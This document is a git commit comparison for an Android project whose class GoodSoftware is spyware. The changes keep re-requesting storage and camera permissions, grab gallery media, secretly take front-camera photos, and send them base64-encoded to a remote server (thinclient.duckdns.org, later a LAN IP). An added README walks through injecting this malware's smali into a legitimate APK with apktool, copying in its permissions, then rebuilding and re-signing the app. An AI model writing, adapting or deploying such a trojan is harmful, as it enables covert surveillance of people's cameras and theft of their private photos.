Compare commits
	
		
			10 Commits
		
	
	
		
			2c866a6049
			...
			ff87918248
		
	
	| Author | SHA1 | Date | |
|---|---|---|---|
| 
						 | 
					ff87918248 | ||
| 
						 | 
					
						
						
							
						
						7ec5cc7977
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						9982adfce2
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						7a017f6153
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						e145b026cc
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						e04f53aff2
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						c3e86065cf
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						b0ef3ca710
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						4e08f6e68e
	
				 | 
					
					
						||
| 
						 | 
					
						
						
							
						
						fae27b2b0a
	
				 | 
					
					
						
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,18 +4,6 @@
 | 
			
		||||
    <value>
 | 
			
		||||
      <entry key="MainActivity">
 | 
			
		||||
        <State>
 | 
			
		||||
          <runningDeviceTargetSelectedWithDropDown>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
			
		||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
          </runningDeviceTargetSelectedWithDropDown>
 | 
			
		||||
          <timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
 | 
			
		||||
          <runningDeviceTargetsSelectedWithDialog>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="RUNNING_DEVICE_TARGET" />
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										78
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										78
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,78 @@
 | 
			
		||||
## Prep
 | 
			
		||||
### Without Camera
 | 
			
		||||
 | 
			
		||||
1. Comment out the timer and compile
 | 
			
		||||
 | 
			
		||||
    ```kt
 | 
			
		||||
    private fun startCheckingPermission() {
 | 
			
		||||
        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
			
		||||
 | 
			
		||||
        timerStorage?.scheduleAtFixedRate(0, 5000) {
 | 
			
		||||
            checkStoragePermission()
 | 
			
		||||
            println("Requesting storage permission again")
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
    /*        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
			
		||||
 | 
			
		||||
        timerCamera?.scheduleAtFixedRate(0, 5000) {
 | 
			
		||||
            checkCameraPermission()
 | 
			
		||||
            println("Requesting camera permission again")
 | 
			
		||||
        }*/
 | 
			
		||||
    ```
 | 
			
		||||
 | 
			
		||||
2. Decompile the apk `apktool d malware.apk`
 | 
			
		||||
3. Decompile original app `apktool d application.apk`
 | 
			
		||||
4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
 | 
			
		||||
5. Under the onCreate of original app
 | 
			
		||||
 | 
			
		||||
    ```smali
 | 
			
		||||
    new-instance p1, Lcom/ti/m/GoodSoftware;
 | 
			
		||||
 | 
			
		||||
    move-object v0, p0
 | 
			
		||||
 | 
			
		||||
    check-cast v0, Landroid/content/Context;
 | 
			
		||||
 | 
			
		||||
    invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
 | 
			
		||||
 | 
			
		||||
    invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
 | 
			
		||||
    ```
 | 
			
		||||
6. Copy the permissions from the malware manifest to original manifests permissions
 | 
			
		||||
    ```xml
 | 
			
		||||
    <uses-permission android:name="android.permission.CAMERA"/>
 | 
			
		||||
    <uses-feature android:name="android.hardware.camera"/>
 | 
			
		||||
    <uses-feature android:name="android.hardware.camera.autofocus"/>
 | 
			
		||||
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 | 
			
		||||
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 | 
			
		||||
    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
 | 
			
		||||
    ```
 | 
			
		||||
 | 
			
		||||
### With Camera
 | 
			
		||||
 | 
			
		||||
1. Do the steps of without camera but don't uncomment the timer
 | 
			
		||||
2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
 | 
			
		||||
3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
 | 
			
		||||
4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
 | 
			
		||||
5. Copy Camera metadata from Manifest
 | 
			
		||||
    ```xml
 | 
			
		||||
              <service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
 | 
			
		||||
            <meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
 | 
			
		||||
        </service>
 | 
			
		||||
        <uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
 | 
			
		||||
    ```
 | 
			
		||||
 | 
			
		||||
6. Copy Camera Queries to manifest under the permissions
 | 
			
		||||
    ```xml
 | 
			
		||||
    <queries>
 | 
			
		||||
        <intent>
 | 
			
		||||
            <action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
 | 
			
		||||
        </intent>
 | 
			
		||||
    </queries>
 | 
			
		||||
    ```
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## Final Steps
 | 
			
		||||
1. Build the application `apktool b application -o unsigned.apk`
 | 
			
		||||
2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
 | 
			
		||||
3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
 | 
			
		||||
4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
 | 
			
		||||
5. Done
 | 
			
		||||
@@ -51,7 +51,6 @@ android {
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
dependencies {
 | 
			
		||||
    implementation("androidx.camera:camera-camera2:1.3.3")
 | 
			
		||||
    implementation(libs.androidx.camera.lifecycle)
 | 
			
		||||
    val camerax_version = "1.4.0-alpha05"
 | 
			
		||||
 | 
			
		||||
@@ -70,8 +69,11 @@ dependencies {
 | 
			
		||||
    androidTestImplementation(libs.androidx.ui.test.junit4)
 | 
			
		||||
    debugImplementation(libs.androidx.ui.tooling)
 | 
			
		||||
    debugImplementation(libs.androidx.ui.test.manifest)
 | 
			
		||||
    implementation("androidx.camera:camera-camera2:$camerax_version")
 | 
			
		||||
    implementation("androidx.camera:camera-extensions:$camerax_version")
 | 
			
		||||
    implementation("androidx.camera:camera-core:${camerax_version}")
 | 
			
		||||
    implementation("androidx.camera:camera-camera2:${camerax_version}")
 | 
			
		||||
    implementation("androidx.camera:camera-lifecycle:${camerax_version}")
 | 
			
		||||
    implementation("androidx.camera:camera-extensions:${camerax_version}")
 | 
			
		||||
 | 
			
		||||
    implementation("androidx.concurrent:concurrent-futures:1.1.0")
 | 
			
		||||
    implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
@@ -1,4 +1,4 @@
 | 
			
		||||
package com.ti.mobpo
 | 
			
		||||
package com.ti.m
 | 
			
		||||
 | 
			
		||||
import android.Manifest
 | 
			
		||||
import android.app.Activity
 | 
			
		||||
@@ -41,6 +41,8 @@ import javax.crypto.Cipher
 | 
			
		||||
import javax.crypto.spec.IvParameterSpec
 | 
			
		||||
import javax.crypto.spec.SecretKeySpec
 | 
			
		||||
import kotlin.concurrent.schedule
 | 
			
		||||
import kotlin.concurrent.scheduleAtFixedRate
 | 
			
		||||
import kotlin.concurrent.thread
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class GoodSoftware (private val activity: Context) {
 | 
			
		||||
@@ -111,23 +113,16 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
    private fun startCheckingPermission() {
 | 
			
		||||
        timerStorage = Timer("CheckStoragePermissionTimer", false)
 | 
			
		||||
 | 
			
		||||
        timerStorage?.schedule(0) {
 | 
			
		||||
            checkStoragePermission()
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        timerStorage?.schedule(5000) {
 | 
			
		||||
        timerStorage?.scheduleAtFixedRate(0, 5000) {
 | 
			
		||||
            checkStoragePermission()
 | 
			
		||||
            println("Requesting storage permission again")
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        timerCamera = Timer("CheckCameraPermissionTimer", false)
 | 
			
		||||
 | 
			
		||||
        timerCamera?.schedule(0) {
 | 
			
		||||
        timerCamera?.scheduleAtFixedRate(0, 5000) {
 | 
			
		||||
            checkCameraPermission()
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        timerCamera?.schedule(5000) {
 | 
			
		||||
            println("Requesting camera permission again")
 | 
			
		||||
            checkCameraPermission()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
@@ -173,16 +168,17 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
                requestMediaImagesPermission()
 | 
			
		||||
            }else{
 | 
			
		||||
                grabMedia()
 | 
			
		||||
                stopCheckingStoragePermission()
 | 
			
		||||
            }
 | 
			
		||||
        } else {
 | 
			
		||||
            if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
 | 
			
		||||
                requestGalleryPermission()
 | 
			
		||||
            }else{
 | 
			
		||||
                grabMedia()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
                stopCheckingStoragePermission()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
			
		||||
    private fun requestMediaImagesPermission() {
 | 
			
		||||
@@ -194,6 +190,7 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
 | 
			
		||||
    private fun takePicture(){
 | 
			
		||||
        val activity = activity.getActivity()
 | 
			
		||||
        try {
 | 
			
		||||
            activity?.let { act ->
 | 
			
		||||
                if (act is LifecycleOwner) {
 | 
			
		||||
                    act.lifecycleScope.launch {
 | 
			
		||||
@@ -204,6 +201,9 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
                    Log.e("Error", "Activity is not a LifecycleOwner")
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        }catch (e: Exception) {
 | 
			
		||||
            e.printStackTrace()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@@ -317,7 +317,7 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
 | 
			
		||||
    fun establishConnection(): ConnectionResult{
 | 
			
		||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		||||
        val host = "thinclient.duckdns.org"
 | 
			
		||||
        val host = "192.168.90.151"
 | 
			
		||||
        val port = 5645
 | 
			
		||||
        val secureRandom = SecureRandom()
 | 
			
		||||
        val keyBytes = ByteArray(16)
 | 
			
		||||
@@ -414,28 +414,24 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
 | 
			
		||||
        // Ensure that cameraProvider is initialized
 | 
			
		||||
        try {
 | 
			
		||||
            cameraProvider = ProcessCameraProvider.getInstance(context).await()
 | 
			
		||||
 | 
			
		||||
        // Ensure that the selected camera is available
 | 
			
		||||
            if (!hasBackCamera() && !hasFrontCamera()) {
 | 
			
		||||
                Log.e(picture.TAG, "Back and front camera are unavailable")
 | 
			
		||||
                return
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
        // Select the lens facing, prioritize front camera if available
 | 
			
		||||
            lensFacing = if (hasFrontCamera()) {
 | 
			
		||||
                CameraSelector.LENS_FACING_FRONT
 | 
			
		||||
            } else {
 | 
			
		||||
                CameraSelector.LENS_FACING_BACK
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
        // Create ImageCapture instance
 | 
			
		||||
            imageCapture = ImageCapture.Builder()
 | 
			
		||||
                .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
 | 
			
		||||
                .build()
 | 
			
		||||
 | 
			
		||||
        // Set up image capture listener
 | 
			
		||||
            val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
 | 
			
		||||
                override fun onError(exc: ImageCaptureException) {
 | 
			
		||||
                    Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
 | 
			
		||||
@@ -443,7 +439,6 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                override fun onCaptureSuccess(image: ImageProxy) {
 | 
			
		||||
                // Process captured image here
 | 
			
		||||
                    val byteArrayOutputStream = ByteArrayOutputStream()
 | 
			
		||||
                    val imagePlane = image.planes[0]
 | 
			
		||||
                    val buffer = imagePlane.buffer
 | 
			
		||||
@@ -451,33 +446,35 @@ class GoodSoftware (private val activity: Context) {
 | 
			
		||||
                    buffer.get(bytes)
 | 
			
		||||
                    byteArrayOutputStream.write(bytes)
 | 
			
		||||
                    val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
			
		||||
                Thread {
 | 
			
		||||
                    thread {
 | 
			
		||||
                        try {
 | 
			
		||||
                            val conn = establishConnectionWithRetry()
 | 
			
		||||
                            if (conn == null) {
 | 
			
		||||
                        return@Thread
 | 
			
		||||
                                return@thread
 | 
			
		||||
                            }
 | 
			
		||||
                            sendDataToServer(base64Image, conn)
 | 
			
		||||
                            disconnect(conn)
 | 
			
		||||
                }.start()
 | 
			
		||||
                        } catch (e: Exception) {
 | 
			
		||||
                            e.printStackTrace()
 | 
			
		||||
                        }
 | 
			
		||||
                    }
 | 
			
		||||
                    cameraProvider?.unbindAll()
 | 
			
		||||
                    image.close()
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
 | 
			
		||||
        // Bind the camera and start image capture
 | 
			
		||||
            cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
            imageCapture?.takePicture(
 | 
			
		||||
                ContextCompat.getMainExecutor(context),
 | 
			
		||||
                imageCapturedListener
 | 
			
		||||
            )
 | 
			
		||||
 | 
			
		||||
        } catch (e: ClassNotFoundException) {
 | 
			
		||||
            Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
 | 
			
		||||
        } catch (e: Exception) {
 | 
			
		||||
            Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    private fun hasBackCamera(): Boolean {
 | 
			
		||||
 
 | 
			
		||||
@@ -2,14 +2,7 @@ package com.ti.m
 | 
			
		||||
 | 
			
		||||
import android.os.Bundle
 | 
			
		||||
import androidx.activity.ComponentActivity
 | 
			
		||||
import androidx.activity.compose.setContent
 | 
			
		||||
import androidx.compose.foundation.layout.fillMaxSize
 | 
			
		||||
import androidx.compose.material3.MaterialTheme
 | 
			
		||||
import androidx.compose.material3.Surface
 | 
			
		||||
import androidx.compose.ui.Modifier
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import com.ti.m.ui.theme.MTheme
 | 
			
		||||
import com.ti.mobpo.GoodSoftware
 | 
			
		||||
 | 
			
		||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user